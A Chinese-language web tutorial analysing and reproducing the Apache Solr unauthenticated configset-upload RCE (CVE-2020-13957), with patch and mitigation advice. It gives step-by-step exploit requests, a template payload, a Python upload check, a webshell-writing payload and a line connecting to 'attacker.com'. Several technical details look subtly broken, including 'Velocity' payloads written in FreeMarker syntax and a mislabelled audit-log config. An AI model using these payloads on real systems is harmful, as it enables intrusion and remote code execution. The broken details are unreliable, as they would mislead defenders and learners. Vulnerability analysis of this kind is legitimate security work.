溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
  • 首頁 > 
  • 教程 > 
  • 網絡安全 > 
  • Apache Solr 未授權上傳RCE漏洞CVE-2020-13957的原理分析與驗證是怎么樣的

Apache Solr 未授權上傳RCE漏洞CVE-2020-13957的原理分析與驗證是怎么樣的

發布時間:2021-12-28 17:48:37 來源:億速云 閱讀:198 作者:柒染 欄目:網絡安全
# Apache Solr 未授權上傳RCE漏洞CVE-2020-13957的原理分析與驗證

## 漏洞概述

CVE-2020-13957是Apache Solr在2020年披露的一個高危漏洞,影響Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本。該漏洞允許攻擊者通過未授權上傳惡意配置文件實現遠程代碼執行(RCE),CVSS評分為9.8(Critical)。本文將深入分析漏洞原理、利用條件及驗證方法。

## 技術背景

### Apache Solr架構特點
Solr是基于Lucene的搜索平臺,采用Java開發,主要功能包括:
- 通過HTTP/HTTPS提供RESTful API
- 使用configset管理核心配置
- 支持動態加載核心(Core)

### 關鍵機制:ConfigSet API
漏洞涉及的關鍵API端點:

/admin/configs?action=UPLOAD&name=[configset名]

該接口本應僅允許管理員上傳配置,但因權限校驗缺陷導致未授權訪問。

## 漏洞原理分析

### 根本原因
Solr在以下三個層面存在缺陷:

1. **權限校驗缺失**  
   `ConfigSetsHandler`未對UPLOAD操作實施身份驗證,繞過`security.json`的權限控制

2. **文件上傳邏輯缺陷**  
   允許上傳任意文件到臨時目錄,包括惡意Velocity模板

3. **Velocity模板注入**  
   攻擊者可注入包含Java代碼的模板,通過模板渲染觸發RCE

### 利用鏈分解
完整攻擊路徑分為四個階段:
1. 未授權上傳惡意configset
2. 創建使用該configset的新core
3. 惡意Velocity模板被加載
4. 觸發模板渲染執行系統命令

```java
// 漏洞代碼示例(簡化版)
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
    if (action.equals("UPLOAD")) {
        // 缺失權限檢查
        handleConfigUpload(req, rsp); 
    }
}

影響范圍

受影響版本

  • 6.6.0 ≤ Solr ≤ 7.7.3
  • 8.0.0 ≤ Solr ≤ 8.6.2

默認配置風險

即使啟用認證,若未正確配置security.json中的規則,仍可能受影響:

{
  "authentication":{...},
  "authorization":{
    "permissions":[{
      "name":"config-edit",
      "role":"admin"  // 未限制UPLOAD操作
    }]
  }
}

漏洞驗證

環境搭建

使用Vulhub快速搭建測試環境:

docker-compose -f solr/8.6.0/CVE-2020-13957.yml up

分步驗證過程

步驟1:檢測漏洞存在

發送探測請求:

GET /solr/admin/cores?wt=json HTTP/1.1
Host: target:8983

觀察返回的Solr版本信息

步驟2:上傳惡意配置

構造包含Velocity模板的ZIP包:

mkdir -p malicious/conf
echo '<#assign cmd="touch /tmp/pwned">${cmd}' > malicious/conf/test.vm
zip -r configset.zip malicious

通過API上傳:

POST /solr/admin/configs?action=UPLOAD&name=malicious HTTP/1.1
Content-Type: application/octet-stream
Host: target:8983

[ZIP文件二進制數據]

步驟3:創建惡意Core

GET /solr/admin/cores?action=CREATE&name=pwned&configSet=malicious HTTP/1.1
Host: target:8983

步驟4:觸發RCE

訪問模板觸發命令執行:

GET /solr/pwned/select?q=1&&wt=velocity&v.template=test HTTP/1.1
Host: target:8983

自動化驗證腳本

使用Python實現自動化檢測:

import requests

def check_vuln(url):
    upload_url = f"{url}/solr/admin/configs"
    params = {'action':'UPLOAD','name':'exploit'}
    files = {'file': open('malicious.zip','rb')}
    resp = requests.post(upload_url, params=params, files=files)
    return resp.status_code == 200

修復方案

官方補丁

升級至以下版本: - Solr 7.7.4+ - Solr 8.6.3+

補丁關鍵修改: 1. 強制校驗config-edit權限 2. 限制上傳文件類型

臨時緩解措施

  1. 網絡層限制:
    
    iptables -A INPUT -p tcp --dport 8983 -s !trusted_ip -j DROP
    
  2. 配置強化:
    
    {
     "permissions": [
       {
         "name": "config-edit",
         "role": "admin",
         "path": "/admin/configs",
         "methods": ["POST"]
       }
     ]
    }
    

漏洞深度分析

Velocity模板引擎機制

Solr使用Velocity渲染UI時: 1. 解析.vm模板文件 2. 執行#assign定義的Java代碼 3. 通過反射調用任意類方法

攻擊變種

除基礎RCE外,攻擊者還可: 1. 寫入Webshell:

   <#assign f=file.getWriter()>${f.write('<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>')}
  1. 內網滲透:
    
    <#assign c=new java.net.URL("http://attacker.com").openConnection()>${c.getInputStream()}
    

防御建議

開發層面

  1. 實施最小權限原則
  2. 對文件上傳實施白名單校驗
  3. 禁用危險模板功能

運維層面

  1. 定期更新組件
  2. 啟用Solr審計日志
    
    <requestHandler name="/admin/logging">
     <str name="enabled">true</str>
    </requestHandler>
    
  3. 部署WAF規則攔截惡意請求

總結

CVE-2020-13957暴露了Solr在權限控制和文件處理方面的嚴重缺陷。通過本文分析可見: 1. 未授權API訪問是云原生應用的常見威脅 2. 模板注入成為Java應用的新型攻擊向量 3. 配置錯誤會顯著擴大攻擊面

建議企業建立完善的組件資產管理機制,及時跟進關鍵漏洞信息,避免因中間件漏洞導致系統性風險。 “`

注:實際使用時需要: 1. 補充完整的PoC代碼 2. 添加截圖和流量示例 3. 根據實際測試調整細節 4. 注意法律合規性

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女